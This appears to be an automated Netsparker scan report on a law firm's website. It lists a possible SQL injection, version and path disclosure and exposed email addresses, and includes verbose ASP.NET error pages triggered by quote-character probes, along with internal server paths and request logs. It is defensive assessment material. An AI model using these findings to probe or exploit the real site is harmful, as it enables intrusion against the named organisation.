function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) { document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }} else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload(); } MM_reloadPage(true); //--> </script> <script> function MM_jumpMenu(targ,selObj,restore){ //v3.0 eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); if (restore) selObj.selectedIndex=0; } </script> <script> function emailWarning(){ //str = 'NOTICE. These materials have been prepared by McCarter & English, LLP for ' + // 'informational purposes only and are not legal advice. This information is not ' + // 'intended to create, and receipt of it does not constitute, a lawyer-client ' + // 'relationship. You should not act upon this information without seeking ' + // 'professional counsel. In addition, we cannot represent you until we know that ' + // 'doing so will not create a conflict of interest. Nor can we treat unsolicited ' + // 'information as confidential. \n\nAccordingly, please do not send us any ' + // 'information about any matter that may involve you until you receive a ' + // 'written statement from us that we represent you (an "engagement letter").\n\nBy ' + // 'clicking "OK" you are confirming that you have read and understand this notice';
str = 'The McCarter & English website is for informational purposes only. We do not provide legal advice on this website. We can provide legal advice only to our clients in specific inquiries that they address to us. If you are interested in becoming a client, please contact us, but do not send us any information about your specific legal question. We cannot serve as your lawyers until we establish an attorney-client relationship, which can occur only after we follow procedures within our firm and after we agree to the terms of representation.'
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. However this issue could not be confirmed by Netsparker. Netsparker believes that this was not an SQL Injection however there were some indications of a possible SQL Injection. There can be numerous reasons for Netsparker not being able to confirm it. We strongly recommend investigating the issue manually. You can also consider sending the details of this issue to us, so we can address this issue for the next time and give you a more precise result.
Impact
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database
Remedy
A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Incorrect syntax near '27'.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [SqlException]: Incorrect syntax near '27'. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at _SaturnoTools.Library.libData.GetReader(String strSQL) at Mccarter.Saturno.Web.showlocationnew.Page_Load(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Incorrect syntax near '27'.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [SqlException]: Incorrect syntax near '27'. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at _SaturnoTools.Library.libData.GetReader(String strSQL) at Mccarter.Saturno.Web.showlocationnew.Page_Load(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Incorrect syntax near '27'.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [SqlException]: Incorrect syntax near '27'. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at _SaturnoTools.Library.libData.GetReader(String strSQL) at Mccarter.Saturno.Web.showlocationnew.Page_Load(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Incorrect syntax near '27'.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [SqlException]: Incorrect syntax near '27'. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at _SaturnoTools.Library.libData.GetReader(String strSQL) at Mccarter.Saturno.Web.showlocationnew.Page_Load(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->
GET /new/css/ HTTP/1.1 Referer: http://www.mccarter.com/new/css/me_allnew.css User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.mccarter.com Cookie: ASP.NET_SessionId=dovbcr45tyczie45c0bmue45 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 403 Forbidden Content-Length: 218 Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Thu, 12 May 2011 16:19:11 GMT
<html><head><title>Error</title></head><body><head><title>Directory Listing Denied</title></head><body><h1>Directory Listing Denied</h1>This Virtual Directory does not allow contents to be listed.</body></body></html>
Netsparker identified that the target web site is using Microsoft SQL Server as backend database. This issue is reported for information purposes only.
Impact
This issue is reported as additional information only, there is no direct impact arising from this issue.
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Conversion failed when converting the varchar value '_!@2dilemma' to data type int.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
[SqlException: Conversion failed when converting the varchar value '_!@2dilemma' to data type int.] System.Data.SqlClient.SqlDataReader.Read() +176 Mccarter.Saturno.Web.showlocationnew.Page_Load(Object sender, EventArgs e) System.Web.UI.Control.OnLoad(EventArgs e) +67 System.Web.UI.Control.LoadRecursive() +35 System.Web.UI.Page.ProcessRequestMain() +750 </pre></code>
</td> </tr> </table>
<br>
<hr width=100% size=1 color=silver>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [SqlException]: Conversion failed when converting the varchar value '_!@2dilemma' to data type int. at System.Data.SqlClient.SqlDataReader.Read() at Mccarter.Saturno.Web.showlocationnew.Page_Load(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->
Netsparker found e-mail addresses on the web site.
Impact
E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .
Remedy
Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.
GET /new/homenew.aspx?searchlink=showbionew&Show=1121 HTTP/1.1 Referer: http://www.mccarter.com/new/homenew.aspx?searchlink=showlocationnew.aspx&show=1433 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.mccarter.com Cookie: ASP.NET_SessionId=dovbcr45tyczie45c0bmue45 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Thu, 12 May 2011 16:18:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Pragma: no-cache,no-cache,no-cache,no-cache,no-cache,no-cache Cache-Control: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 44685
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML> <HEAD> <title>Welcome to McCarter</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <META NAME="ROBOTS" CONTENT="NOYDIR,NOODP"> <META NAME="KEYWORDS" CONTENT="McCarter,McCarter & English,McCarter and English,McCarter English"> <META NAME="DESCRIPTION" CONTENT="McCarter & English, LLP is a firm of over 400 lawyers with offices in Boston, Hartford, Stamford, New York City, Newark, Philadelphia and Wilmington."> <script language="JavaScript" type="text/JavaScript"> <!-- function OpenWindow(url, name,features ) { window.open(url, name,features) }
function MM_preloadImages() { //v3.0 var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array(); var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++) if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}} }
function MM_swapImgRestore() { //v3.0 var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc; }
function MM_findObj(n, d) { //v4.01 var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n]; for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); if(!x && d.getElementById) x=d.getElementById(n); return x; }
function MM_swapImage() { //v3.0 var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3) if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];} }
function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) { document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }} else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload(); } MM_reloadPage(true); //--> </script> <script> function MM_jumpMenu(targ,selObj,restore){ //v3.0 eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); if (restore) selObj.selectedIndex=0; } </script> <script> function emailWarning(){ //str = 'NOTICE. These materials have been prepared by McCarter & English, LLP for ' + // 'informational purposes only and are not legal advice. This information is not ' + // 'intended to create, and receipt of it does not constitute, a lawyer-client ' + // 'relationship. You should not act upon this information without seeking ' + // 'professional counsel. In addition, we cannot represent you until we know that ' + // 'doing so will not create a conflict of interest. Nor can we treat unsolicited ' + // 'information as confidential. \n\nAccordingly, please do not send us any ' + // 'information about any matter that may involve you until you receive a ' + // 'written statement from us that we represent you (an "engagement letter").\n\nBy ' + // 'clicking "OK" you are confirming that you have read and understand this notice';
str = 'The McCarter & English website is for informational purposes only. We do not provide legal advice on this website. We can provide legal advice only to our clients in specific inquiries that they address to us. If you are interested in becoming a client, please contact us, but do not send us any information about your specific legal question. We cannot serve as your lawyers until we establish an attorney-client relationship, which can occur only after we follow procedures within our firm and after we agree to the terms of representation.'
Netsparker identified that the target web server is disclosing the web server's version in the HTTP response. This information can help an attacker to gain a greater understanding of the system in use and potentially develop further attacks targeted at the specific web server version.
Impact
An attacker can look for specific security vulnerabilities for the version identified through the SERVER header information.
Remediation
Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Incorrect syntax near '='.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [SqlException]: Incorrect syntax near '='. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at _SaturnoTools.Library.libData.GetReader(String strSQL) at Mccarter.Saturno.Web.showlocationnew.Page_Load(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->
Netsparker identified an internal path in the document.
Impact
There is no direct impact however this information can help an attacker either to identify other vulnerabilities or during the exploitation of other identified vulnerabilities.
Remedy
First ensure that this is not a false positive. Due to the nature of the issue. Netsparker could not confirm that this file path was actually the real file path of the target web server.
Error messages should be disabled.
Remove this kind of sensitive data from the output.
<b> Description: </b>HTTP 404. The resource you are looking for (or one of its dependencies) could have been removed, had its name changed, or is temporarily unavailable. Please review the following URL and make sure that it is spelled correctly. <br><br>
<b> Requested Url: </b>/new/about.aspx<br><br>
<hr width=100% size=1 color=silver>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [FileNotFoundException]: C:\inetpub\www.mccarter.com\new\about.aspx at System.Web.UI.TemplateParser.GetParserCacheItem() at System.Web.UI.TemplateControlParser.CompileAndGetParserCacheItem(String virtualPath, String inputFile, HttpContext context) at System.Web.UI.TemplateControlParser.GetCompiledInstance(String virtualPath, String inputFile, HttpContext context) at System.Web.UI.PageParser.GetCompiledPageInstanceInternal(String virtualPath, String inputFile, HttpContext context) at System.Web.UI.PageHandlerFactory.GetHandler(HttpContext context, String requestType, String url, String path) at System.Web.HttpApplication.MapHttpHandler(HttpContext context, String requestType, String path, String pathTranslated, Boolean useAppConfig) [HttpException]: Exception of type System.Web.HttpException was thrown. at System.Web.HttpApplication.MapHttpHandler(HttpContext context, String requestType, String path, String pathTranslated, Boolean useAppConfig) at System.Web.MapHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->
<b> Description: </b>An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately. <br><br>
<b> Parser Error Message: </b>Unknown server tag 'uc1:NewsScroller1'.<br><br>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [HttpException]: Unknown server tag 'uc1:NewsScroller1'. at System.Web.UI.TemplateParser.ProcessBeginTag(Match match, String inputText) at System.Web.UI.TemplateParser.ParseStringInternal(String text) at System.Web.UI.TemplateParser.ParseString(String text, String virtualPath, String basePhysicalDir) [HttpParseException]: Parser Error: Unknown server tag 'uc1:NewsScroller1'. at System.Web.UI.TemplateParser.ParseString(String text, String virtualPath, String basePhysicalDir) at System.Web.UI.TemplateParser.ParseFile(String filename, String virtualPath) at System.Web.UI.TemplateParser.Parse() at System.Web.UI.TemplateParser.GetParserCacheItemThroughCompilation() at System.Web.UI.TemplateParser.GetParserCacheItemInternal(Boolean fCreateIfNotFound) at System.Web.UI.TemplateParser.GetParserCacheItemWithNewConfigPath() at System.Web.UI.TemplateControlParser.GetReferencedType(TemplateControlParser parser, String virtualPath) at System.Web.UI.TemplateControlParser.GetUserControlType(String virtualPath) at System.Web.UI.TemplateControlParser.ProcessDirective(String directiveName, IDictionary directive) at System.Web.UI.TemplateParser.ParseStringInternal(String text) at System.Web.UI.TemplateParser.ParseString(String text, String virtualPath, String basePhysicalDir) [HttpException]: Parser Error: Parser Error: Unknown server tag 'uc1:NewsScroller1'. at System.Web.UI.TemplateParser.ParseString(String text, String virtualPath, String basePhysicalDir) at System.Web.UI.TemplateParser.ParseFile(String filename, String virtualPath) at System.Web.UI.TemplateParser.Parse() at System.Web.UI.TemplateParser.GetParserCacheItemThroughCompilation() at System.Web.UI.TemplateParser.GetParserCacheItemInternal(Boolean fCreateIfNotFound) at System.Web.UI.TemplateParser.GetParserCacheItemWithNewConfigPath() at System.Web.UI.TemplateParser.GetParserCacheItem() at System.Web.UI.TemplateControlParser.CompileAndGetParserCacheItem(String virtualPath, String inputFile, HttpContext context) at System.Web.UI.TemplateControlParser.GetCompiledInstance(String virtualPath, String inputFile, HttpContext context) at System.Web.UI.PageParser.GetCompiledPageInstanceInternal(String virtualPath, String inputFile, HttpContext context) at System.Web.UI.PageHandlerFactory.GetHandler(HttpContext context, String requestType, String url, String path) at System.Web.HttpApplication.MapHttpHandler(HttpContext context, String requestType, String path, String pathTranslated, Boolean useAppConfig) at System.Web.MapHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.FormatException: Input string was not in a correct format.<br><br>
[FormatException: Input string was not in a correct format.] Microsoft.VisualBasic.CompilerServices.DoubleType.Parse(String Value, NumberFormatInfo NumberFormat) +193 Microsoft.VisualBasic.CompilerServices.DoubleType.FromString(String Value, NumberFormatInfo NumberFormat) +83
[InvalidCastException: Cast from string "%27" to type 'Double' is not valid.] Microsoft.VisualBasic.CompilerServices.DoubleType.FromString(String Value, NumberFormatInfo NumberFormat) +172 Microsoft.VisualBasic.CompilerServices.DoubleType.FromString(String Value) +7 ASP.nvmenu_ascx.__Render__control1(HtmlTextWriter __output, Control parameterContainer) in C:\inetpub\www.mccarter.com\new\nvMenu.ascx:187 System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) +27 System.Web.UI.Control.Render(HtmlTextWriter writer) +7 System.Web.UI.Control.RenderControl(HtmlTextWriter writer) +241 ASP.nvtop_ascx.__Render__control1(HtmlTextWriter __output, Control parameterContainer) in C:\inetpub\www.mccarter.com\new\nvtop.ascx:149 System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) +27 System.Web.UI.Control.Render(HtmlTextWriter writer) +7 System.Web.UI.Control.RenderControl(HtmlTextWriter writer) +241 ASP.homenew_aspx.__RenderForm1(HtmlTextWriter __output, Control parameterContainer) in C:\inetpub\www.mccarter.com\new\homenew.aspx:99 System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) +27 System.Web.UI.HtmlControls.HtmlForm.RenderChildren(HtmlTextWriter writer) +44 System.Web.UI.HtmlControls.HtmlForm.Render(HtmlTextWriter output) +263 System.Web.UI.Control.RenderControl(HtmlTextWriter writer) +241 ASP.homenew_aspx.__Render__control1(HtmlTextWriter __output, Control parameterContainer) in C:\inetpub\www.mccarter.com\new\homenew.aspx:83 System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) +27 System.Web.UI.Control.Render(HtmlTextWriter writer) +7 System.Web.UI.Control.RenderControl(HtmlTextWriter writer) +241 System.Web.UI.Page.ProcessRequestMain() +1926 </pre></code>
</td> </tr> </table>
<br>
<hr width=100% size=1 color=silver>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [FormatException]: Input string was not in a correct format. at Microsoft.VisualBasic.CompilerServices.DoubleType.Parse(String Value, NumberFormatInfo NumberFormat) at Microsoft.VisualBasic.CompilerServices.DoubleType.FromString(String Value, NumberFormatInfo NumberFormat) [InvalidCastException]: Cast from string "%27" to type 'Double' is not valid. at Microsoft.VisualBasic.CompilerServices.DoubleType.FromString(String Value, NumberFormatInfo NumberFormat) at Microsoft.VisualBasic.CompilerServices.DoubleType.FromString(String Value) at ASP.nvmenu_ascx.__Render__control1(HtmlTextWriter __output, Control parameterContainer) in C:\inetpub\www.mccarter.com\new\nvMenu.ascx:line 187 at System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) at System.Web.UI.Control.Render(HtmlTextWriter writer) at System.Web.UI.Control.RenderControl(HtmlTextWriter writer) at ASP.nvtop_ascx.__Render__control1(HtmlTextWriter __output, Control parameterContainer) in C:\inetpub\www.mccarter.com\new\nvtop.ascx:line 149 at System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) at System.Web.UI.Control.Render(HtmlTextWriter writer) at System.Web.UI.Control.RenderControl(HtmlTextWriter writer) at ASP.homenew_aspx.__RenderForm1(HtmlTextWriter __output, Control parameterContainer) in C:\inetpub\www.mccarter.com\new\homenew.aspx:line 99 at System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) at System.Web.UI.HtmlControls.HtmlForm.RenderChildren(HtmlTextWriter writer) at System.Web.UI.HtmlControls.HtmlForm.Render(HtmlTextWriter output) at System.Web.UI.Control.RenderControl(HtmlTextWriter writer) at ASP.homenew_aspx.__Render__control1(HtmlTextWriter __output, Control parameterContainer) in C:\inetpub\www.mccarter.com\new\homenew.aspx:line 83 at System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) at System.Web.UI.Control.Render(HtmlTextWriter writer) at System.Web.UI.Control.RenderControl(HtmlTextWriter writer) at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->